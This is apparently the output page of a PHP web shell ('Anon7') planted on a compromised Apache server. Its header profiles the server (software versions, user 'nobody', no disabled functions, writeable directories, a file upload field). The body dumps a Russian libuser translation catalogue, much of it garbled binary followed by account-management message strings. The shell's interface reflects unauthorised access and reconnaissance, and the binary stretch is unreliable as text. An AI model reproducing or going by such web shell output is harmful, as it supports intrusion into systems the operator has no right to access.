KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/ru/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/ru/LC_MESSAGES/libuser.mo
%
pq"50Hg*$""Ad <P/o)"'0Kg*3)^(.((<e.$	!

"'#J!n#$#.2
a
lz%+8Khw	-#)M,g,"";BOe|#'!:\ z"!#A#e
 1 A [ m $  8 + ()!*R!*}!)!*!)!'">"1Z")"""""!#!<#+^#.##G#$)7$&a$"$$!$#$%+%@%S%&j%(%$%%)%&/&0K&!|&'&&&'& '6'3V'!'''
'''"(1(O( o( (( ((")5)N)^)z)))%)#) *)*'?*g***
*-***"	+,+$L+q+++% -8F-[-@-?.8\.=.5.2	/`</:/=/.0DE0L0F0O1Mn11!131&$2&K2sr242F3Pb3I3?3Z=47404-5!/52Q5'565"5&6&-6PT6I6U6"E70h7S7H7U68.8M87	9A9WU99+9<9=:H[:>:?:J#;+n;/;3;;<,8<#e<-<"<.<	=,"=O=^=k=?~="===*>;>Q>e>t>>0>J>F$?)k?L?C?E&@Vl@R@5ALA!UA9wA%A2A
BJ(B0sB,BEB,C/DC8tC;C#C+
D9DPHDHDGDS*EI~EUE7F2VF!FF0F"F.GDGjbGTG9"H=\H@HDHl I]IHIN4JRJVJj-K_K,K5%L[LgLBCM1M.M4M@N0]NBNON6!OGXO&ODOaP]nP5P6QE9QAQ*Q,Q0REJRFRgR(?SXhS$S/SHT?_TDTaTPFUBU8USVEgV?V%VW++W#WW7{W<WNWD?X5X>X=X:7Y1rY&Y"Y/Y$Z+CZ%oZ;Z.Z;[-<[Uj[.[0[ \#3\UW\7\/\C]IY]E]A]E+^$S
):-G_{HJfod%;s0D3T"=\g,c>Z?w1!8j]CU@nxeX2zYM+V
(P~yROm9rh5.6`Il&|iL*v7at	W'kAu NbFBK[/p#E<4q^Q}%s did not have a gid number.
%s did not have a home directory.
%s is not authorized to change the finger info of %s
Account Expires:	%s
Account creation failed: %s.
Account is locked.
Account is not locked.
Authentication failed for %s.
Both -L and -U specified.
Can't set default context for /etc/passwd
Changing finger information for %s.
Changing password for %s.
Changing shell for %s.
Copying user structure:
Cyrus SASL error creating user: %sCyrus SASL error removing user: %sDefault user attribute names:
Default user object classes:
E-Mail AddressEntry not found.
Error changing owner of `%s': %sError creating %s: %s.
Error creating `%s': %sError creating account for `%s': line improperly formatted.
Error creating group `%s': %s
Error creating group for `%s' with GID %jd: %s
Error creating home directory for %s: %s
Error creating mail spool for %s.
Error creating mail spool.
Error creating user account for %s: %s
Error initializing %s: %s
Error initializing %s: %s.
Error initializing PAM.
Error looking up %s: %s
Error moving %s to %s: %s.
Error opening `%s': %s.
Error parsing arguments: %s.
Error reading `%s': %sError removing %s: %s.
Error removing `%s': %sError setting initial password for %s: %s
Error setting password for group %s: %s.
Error setting password for user %s: %s.
Error writing `%s': %sFailed to drop privileges.
Failed to modify aging information for %s: %s
Failed to set password for group %s: %s
Failed to set password for user %s: %s.
Finger information changed.
Finger information not changed:  input error.
Finger information not changed: %s.
Full NameGetting default user attributes:
Given NameGroup %jd does not exist
Group %s could not be deleted: %s
Group %s could not be deleted: %s.
Group %s could not be locked: %s
Group %s could not be modified: %s
Group %s could not be modified: %s.
Group %s could not be unlocked: %s
Group %s does not exist.
Group creation failed: %s
Group with GID %jd did not have a group name.
Home PhoneInactive:	%d
Internal PAM error `%s'.
Internal error.
Invalid ID %s
Invalid group ID %s
Invalid user ID %s
Kerberos Admin PrincipalKerberos Password for Admin PrincipalKerberos RealmLDAP Bind DNLDAP Bind PasswordLDAP SASL Authorization UserLDAP SASL UserLDAP Search Base DNLDAP Server NameLast Change:	%s
Maximum:	%d
Minimum:	%d
NeverNew ShellNew passwordNew password (confirm)No group name specified, no name for gid %d.
No group name specified, using %s.
No group name specified.
No group with GID %jd exists, not removing.
No new home directory for %s.
No old home directory for %s.
No user name specified, no name for uid %d.
No user name specified, using %s.
No user name specified.
OfficeOffice PhonePassword Expires:	%s
Password Inactive:	%s
Password change canceled.
Password changed.
Passwords do not match, try again.
Prompts failed.
Prompts succeeded.
Refusing to create account with UID 0.
Searching for group named %s.
Searching for group with ID %jd.
Searching for user named %s.
Searching for user with ID %jd.
Shell changed.
Shell not changed: %s
SurnameUnknown user authenticated.
Unknown user contextUser %s could not be deleted: %s.
User %s could not be locked: %s.
User %s could not be modified: %s.
User %s could not be unlocked: %s.
User %s does not exist.
User mismatch.
Warning:	%d
[OPTION...][OPTION...] [user][OPTION...] group[OPTION...] useraccess deniedbackup file `%s' exists and is not a regular filebackup file size mismatchbad user/group idbad user/group nameconfiguration file `%s' is too largecould not bind to LDAP servercould not bind to LDAP server, first attempt as `%s': %scould not convert internal data to LDAPModscould not negotiate TLS with LDAP servercould not open configuration file `%s': %scould not read configuration file `%s': %scould not set LDAP protocol to version %dcould not stat configuration file `%s': %scouldn't get security context of `%s': %scouldn't open `%s': %scouldn't read from `%s': %scouldn't set default security context to `%s': %scouldn't set default security context: %scouldn't stat `%s': %scouldn't write to `%s': %sdata not found in fileentity has no %s attributeentity has no %s or %s attributesentity object has no %s attributeentity structure has no %s or %s attributesentity was created with no %s or %s attributesentry already present in fileerror connecting to the kadm5 server for service `%s' in realm `%s': %serror creating `%s': %serror creating a LDAP directory entry: %serror creating home directory for usererror creating mail spool for usererror encrypting passworderror initializing Cyrus SASL: %serror initializing kerberos libraryerror initializing ldap libraryerror loading moduleerror locking fileerror locking file: %serror manipulating terminal attributeserror modifying LDAP directory entry: %serror moving home directory for usererror opening fileerror parsing user name `%s' for kerberoserror reading fileerror reading from terminalerror reading information for `%s' from kerberoserror reading terminal attributeserror removing LDAP directory entry: %serror removing home directory for usererror renaming LDAP directory entry: %serror resolving symbol in moduleerror setting password for `%s'error setting password in LDAP directory for %s: %serror setting terminal attributeserror statting fileerror writing to filegeneric errorgroup %jd has no namegroup %s has no GIDgroup has neither a name nor a GIDinternal initialization errorlibrary/module version mismatchmodule `%s' does not define `%s'module disabled by configurationmodule version mismatch in `%s'name contains control charactersname contains invalid char `%c'name contains non-ASCII charactersname contains whitespacename is not setname is too long (%zu > %d)name is too shortname starts with a hyphenno `%s' attribute foundno initialization function %s in `%s'no shadow file present -- disablingno such object in LDAP directorynot enough privilegesnot executing with superuser privilegesobject had no %s attributeobject has no %s attributesuccessunknown errorunlocking would make the password field emptyuser %jd has no nameuser %s has no UIDuser has neither a name nor an UIDuser object had no %s attributeuser object was created with no `%s'user/group id in useuser/group name in useProject-Id-Version: ru
Report-Msgid-Bugs-To: http://bugzilla.redhat.com/bugzilla/
POT-Creation-Date: 2006-05-01 07:12+0200
PO-Revision-Date: 2006-05-09 00:50+0400
Last-Translator: Andrew Martynov <andrewm@inventa.ru>
Language-Team: Russian <fedora-trans-ru@redhat.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.11.2
%s не имеет уровня gid.
%s не имеет домашнего каталога.
%s не авторизован для изменения finger информации о %s
Учетная запись действительна до:	%s
Ошибка создания учетной записи: %s.
Учетная запись заблокирована.
Учетная запись не заблокирована.
Ошибка аутентификации для %s.
-L и -U указаны одновременно.
Не могу установить контекст по умолчанию для  /etc/passwd
Изменение информации finger для %s.
Изменение пароля пользователя %s.
Изменение оболочки для %s
Копирование структуры пользователя:
ошибка Cyrus SASL при создании пользователя: %sОшибка SASL при удалении пользователя: %sИмена стандартных атрибутов пользователя:
Стандартные классы объекта пользователя:
Адрес E-MailЗапись не найдена
Ошибка смены владельца `%s': %sОшибка создания %s: %s.
Ошибка создания `%s': %sОшибка создания учетной записи для `%s': неверный формат строки.
Ошибка создания группы `%s': %s
Ошибка создания группы для `%s' с GID %jd: %s
Ошибка создания домашнего каталога для %s: %s
Ошибка создания почтовой очереди для %s.
Ошибка создания почтовой очереди.
Ошибка создания учетной записи пользователя %s: %s
Ошибка при инициализации %s: %s.
Ошибка инициализации %s: %s.
Ошибка инициализации PAM.
Ошибка поиска %s: %s
Ошибка перемещения %s в %s: %s.
Ошибка открытия `%s': %s
Ошибка разбора аргументов: %s.
Ошибка чтения `%s': %sОшибка удаления %s: %s.
Ошибка удаления `%s': %sОшибка установки начального пароля для %s: %s
Ошибка установки пароля для группы %s: %s.
Ошибка установки пароля для пользователя %s: %s.
Ошибка записи `%s': %sОшибка сброса привилегий.
Ошибка изменения информации о сроках для %s: %s
Ошибка установки пароля для группы %s: %s
Ошибка установки пароля для пользователя %s: %s.
Информация finger изменена.
Информация finger не изменена:  ошибка ввода.
Информация finger не изменена: %s.
Полное имяПолучение стандартных атрибутов пользователя:
ИмяГруппа %jd не существует
Группа %s не может быть удалена: %s
Группа %s не может быть удалена: %s.
Группа %s не может быть заблокирована: %s
Группа %s не может быть изменена: %s
Группа %s не может быть изменена: %s.
Группа %s не может быть разблокирована: %s
Группа %s не существует.
Ошибка создания группы: %s
Группа c GID %jd не имела имени.
Домашний телефонНеактивных:	%d
Внутренняя ошибка PAM `%s'.
Внутренняя ошибка.
Неверен идентификатор %s
Неверен ID группы %s
Неверен ID пользователя %s
Kerberos Admin PrincipalПароль Kerberos для Admin PrincipalKerberos RealmLDAP Bind DNLDAP Bind PasswordАвторизованный пользователь LDAP SASLПользователь LDAP SASLLDAP Search Base DNИмя сервера LDAPПоследнее изменение:	%s
Максимум:	%d
Минимум:	%d
НикогдаНовая оболочкаНовый парольНовый пароль (подтвердите)Не указано имя группы, нет имени для gid %d.
Не указано имя группы, используется %s.
Не указано имя группы.
Не существует группы с GID %jd, не удаляется.
Нет нового домашнего каталога для %s.
Нет старого домашнего каталога для %s.
Имя пользователя не указано, нет имени для uid %d.
Имя пользователя не указано, используется %s.
Имя пользователя не указано.
ОфисСлужебный телефонДействие пароля завершается:	%s
Пароль не активен:	%s
Изменение пароля отменено.
Пароль изменен.
Пароли не совпадают, попробуйте еще раз.
Запрос выполнен неудачно.
Запрос выполнен удачно.
Отказ в создании учетной записи с UID 0.
Поиск группы с именем %s.
Поиск группы с номером %jd.
Поиск пользователя с именем %s.
Поиск пользователя с номером %jd.
Оболочка изменена.
Оболочка не изменена: %s
ФамилияАутентификация неизвестного пользователя.
Неизвестный пользовательский контекстПользователь %s не может быть удален: %s.
Пользователь %s не может быть заблокирован: %s.
Пользователь %s не может быть изменен: %s.
Пользователь %s не может быть разблокирован: %s.
Пользователь %s не существует.
Пользователь не совпадает.
Предупреждение:	%d
[ПАРАМЕТР...][ПАРАМЕТР...] [пользователь][ПАРАМЕТР...] группа[ПАРАМЕТР...] пользовательдоступ запрещенрезервный файл `%s' существует и не является обычным файломнесоответствие размера файла резервной копииневерный ID пользователя/группыневерное имя пользователя/группыфайл конфигурации `%s' слишком великневозможно подключиться к серверу LDAPневозможно подключиться к серверу LDAP, первая попытка - `%s': %sневозможно преобразовать внутренние данные в LDAPModsневозможно согласовать TLS с сервером LDAPневозможно открыть файл конфигурации `%s': %sневозможно прочитать файл конфигурации `%s': %sневозможно установить протокол LDAP для версии %dневозможно получить информацию о файле конфигурации `%s': %sневозможно получить контекст безопасности для `%s': %sневозможно открыть `%s': %sневозможно прочитать из `%s': %sневозможно задать значение контекста безопасности по умолчанию `%s': %sневозможно задать контекст безопасности по умолчанию: %sневозможно получить сведения о `%s': %sневозможно записать в `%s': %sданные не найдены в файлесущность не имеет атрибута %sсущность не имеет атрибутов %s или %sобъект не имеет атрибута %sструктура не имеет атрибутов %s или %sсущность была создана без атрибутов %s или %sзапись уже существует в файлеerror connecting to the kadm5 server for service `%s' in realm `%s': %sошибка создания `%s': %sошибка создания записи каталога LDAP: %sошибка создания домашнего каталога для пользователяошибка создания почтовой очереди для пользователяошибка при шифровании пароляошибка инициализации Cyrus SASL: %sошибка инициализации библиотеки kerberosошибка инициализации библиотеки ldapошибка загрузки модуляошибка блокировки файлаошибка блокировки файла: %sошибка изменения атрибутов терминалаошибка изменения записи каталога LDAP: %sошибка перемещения домашнего каталога для пользователяошибка открытия файлаошибка обработки имени пользователя `%s' для kerberosошибка чтения файлаошибка чтения с терминалаошибка чтения информации для `%s' из kerberosошибка чтения атрибутов терминалаошибка удаления записи каталога LDAP: %sошибка удаления домашнего каталога для пользователяошибка переименования записи каталога LDAP: %sошибка определения символа в модулеошибка установки пароля для `%s'ошибка установки пароля в каталоге LDAP для %s: %sошибка установки атрибутов терминалаошибка получения параметров файлаошибка записи в файлобщая ошибкагруппа %jd не имеет именигруппа %s не имеет GIDгруппа не имеет имени и кода UIDвнутренняя ошибка инициализациинесоответствие версии модуля и библиотекив модуле `%s' не определено значение `%s'модуль запрещен в настройкахнесоответствие версии модуля в `%s'имя содержит управляющие символыимя содержит неверный символ `%c'имя содержит не-ASCII символыимя содержит пробелыимя не установленоимя слишком длинное (%zu > %d)имя слишком короткоимя начинается с дефисане найден атрибут `%s'нет функции инициализации %s в `%s'нет файла shadow -- запрещенонет такого объекта в каталоге LDAPнедостаточно привилегийвыполняется без привилегий суперпользователяобъект не имел атрибута %sобъект не имеет атрибута %sвыполненонеизвестная ошибкапри разблокировании поле пароля будет очищенопользователь %jd не имеет именипользователь %s не имеет UIDпользователь не имеет имени и кода UIDобъект пользователя не имеет атрибута %sобъект пользователя был создан без `%s'ID пользователя/группы используетсяимя пользователя/группы используется

Anon7 - 2021